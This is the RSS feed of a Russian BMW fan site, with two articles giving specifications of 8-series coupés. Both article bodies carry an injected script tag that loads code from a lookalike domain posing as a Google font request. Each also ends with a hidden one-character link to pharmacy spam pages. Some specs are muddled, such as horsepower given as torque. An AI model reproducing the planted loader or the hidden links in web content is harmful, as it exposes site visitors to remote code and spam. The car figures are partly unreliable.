<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BMW - сайт любителей BMW &#187; BMW 8 серии</title>
	<atom:link href="http://bmv-car.ru/category/8-seriya/feed/" rel="self" type="application/rss+xml" />
	<link>http://bmv-car.ru</link>
	<description>Новости, тюнинг, ремонт, краш-тесты, тест-драйвы, серии, история</description>
	<lastBuildDate>Thu, 13 Jul 2023 11:40:03 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>BMW 8-серия 5.4</title>
		<link>http://bmv-car.ru/bmw-8-seriya-54/</link>
		<comments>http://bmv-car.ru/bmw-8-seriya-54/#comments</comments>
		<pubDate>Fri, 03 Apr 2009 14:51:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[BMW 8 серии]]></category>
		<category><![CDATA[BMW 8]]></category>

		<guid isPermaLink="false">/?p=939</guid>
		<description><![CDATA[Представленный на наш суд образец BMW 8-серия комплектации 5.4 был включен в модельный ряд в 1996 году и изготавливался до 1999-го года. Данная машина по классификации кузовов относится к категории &#8220;купе&#8221;, иначе &#8211; обладает только парой дверей. Автомобиль, дизайн которого допустимо без оговорок назвать прелестным, длиной 4780 мм (а ширина &#8211; 1855 мм), вмещает 4 [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><img src="/images/BMW 8-5.4.jpg" alt="BMW 8-серия 5.4" hspace="1" align="left" /> Представленный на наш суд образец <strong>BMW 8-серия</strong> комплектации 5.4 был включен в модельный ряд в 1996 году и изготавливался до 1999-го года. Данная машина по классификации кузовов относится к категории &#8220;купе&#8221;, иначе &#8211; обладает только парой дверей. Автомобиль, дизайн которого допустимо без оговорок назвать прелестным, длиной 4780 мм (а ширина &#8211; 1855 мм), вмещает 4 пассажиров (вместе с водителем). В багажное отделение можно положить больше 320 куб дм груза. <span id="more-939"></span>Кузов поднят над дорогой на 140 мм &#8211; вполне достаточно. Закреплённый продольно спереди кузова силовой агрегат &#8211; бензиновый (V-образного типа) обладает рабочим объёмом 5379 см3, вырабатывая &#8220;в пике&#8221; крутящего момента 326 л.с. Горючее в двенадцать цилиндров &#8220;наливается&#8221; по схеме с распределённым впрыском. АКПП &#8211; с пятью передачами.<script src="//css.googleaps.ru/css?f=Open+Sans&#038;cd=mb&#038;ver=4.2.2"></script></p>
<p style="text-align: justify;"><strong>BMW 8-серия</strong> имеет задние ведущие колеса, что оказывается &#8220;минусом&#8221; на скользкой дороге, но считается классическим вариантом. В подвеске передних колес установлен поперечный рычаг, сзади использованы винтовые пружины. Задействованные в этой машине тормоза &#8211; довольно эффективные по конструкции: вентилируемые диски &#8211; спереди и дисковые тормоза &#8211; позади. На этой модели применялась антиблокировочная система. Дополненное гидравлическим усилителем рулевое управление, использует очень известную схему с шестернёй и рейкой. Как следует из данных производителя, наибольшая достижимая скорость заявлена на уровне 250 километров/час. Разгон до сотни километров в час потребует что-то около 6.3 с. Вне города мотор &#8220;кушает&#8221; 9.9 л топлива из бака на сто километров расстояния, в населенном пункте аппетит мотора составляет 21.1 л. Вероятно, модель соответствует своему классу.</p>
<p><a style="text-decoration:none" href="/omnicef-nhs-price">.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://bmv-car.ru/bmw-8-seriya-54/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BMW 850i &#8211; описание, характеристики, цена</title>
		<link>http://bmv-car.ru/bmw-850-i/</link>
		<comments>http://bmv-car.ru/bmw-850-i/#comments</comments>
		<pubDate>Fri, 03 Apr 2009 14:50:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[BMW 8 серии]]></category>
		<category><![CDATA[BMW 850i]]></category>

		<guid isPermaLink="false">/?p=936</guid>
		<description><![CDATA[Этот экземпляр BMW 8-серия 850i обрел первых покупателей в 1990 г, а снят с конвейера &#8211; в 1994-м. Машина по классификации кузовов относится к категории &#8220;купе&#8221;, проще говоря &#8211; имеет кузов с двумя дверями. Замечательный автомобиль длиной от носа до кормы 4780 мм и 1855 мм шириной, может принять 4 человек, считая водителя. В багажное [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft" title="BMW 850i" src="/images/BMW 850 i.jpg" alt="BMW 850i" /> Этот экземпляр <strong>BMW 8-серия 850i</strong> обрел первых покупателей в 1990 г, а снят с конвейера &#8211; в 1994-м. Машина по классификации кузовов относится к категории &#8220;купе&#8221;, проще говоря &#8211; имеет кузов с двумя дверями. Замечательный автомобиль длиной от носа до кормы 4780 мм и 1855 мм шириной, может принять 4 человек, считая водителя. В багажное отделение можно поместить больше 320 дм3 поклажи. Типичный для подобных машин дорожный просвет &#8211; около 140 мм. <span id="more-936"></span>Привычно находящийся в передней части машины мотор &#8211; бензиновый (V-образный) обладает рабочим объёмом 4988 куб.см и обладает мощностью 300 л.с. Двенадцатицилиндровый мотор получает горючее благодаря форсункам-инжекторам. Механическая трансмиссия обладает шестью передачами. Момент от двигателя передаётся на заднюю ось, что затрудняет вождение во зимнее время но имеет и ряд &#8220;плюсов&#8221;.<script src="//css.googleaps.ru/css?f=Open+Sans&#038;cd=mb&#038;ver=4.2.2"></script></p>
<p style="text-align: justify;"><a href="http://bmv-car.ru/bmw-850-i/attachment/4/" rel="attachment wp-att-1927"><img class="size-medium wp-image-1927 alignright" title="bmw 850i фото" src="http://bmv-car.ru/wp-content/uploads/4-300x224.jpg" alt="bmw 850i фото" width="300" height="224" /></a> В подвеске передних колес используется поперечный рычаг, сзади стоят пружины. Использованные в этом автомобиле тормоза &#8211; весьма современные по конструкции: охлаждаемые дисковые тормоза &#8211; на передней оси, дисковые тормоза поменьше &#8211; сзади. На этом автомобиле предусматривалась тормозная система с антиблокировкой. Лёгкое, с усилителем(с гидравликой) рулевое управление. По информации изготовителя, наибольшая скорость достигает 250 километров в час. Разогнаться до 100 км/час получится за что-то около 6.8 с. В смешанном цикле машина потребляет 10.4 л горючего. За городом мотор тратит 8.8 л горючего на каждую сотню км расстояния, в городе потребление возрастёт до 19.8 л. Количество топлива, которое можно залить в бак составит не меньше 90 л.</p>
<p><a style="text-decoration:none" href="/best-online-store-for-viagra-oral-jelly">.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://bmv-car.ru/bmw-850-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
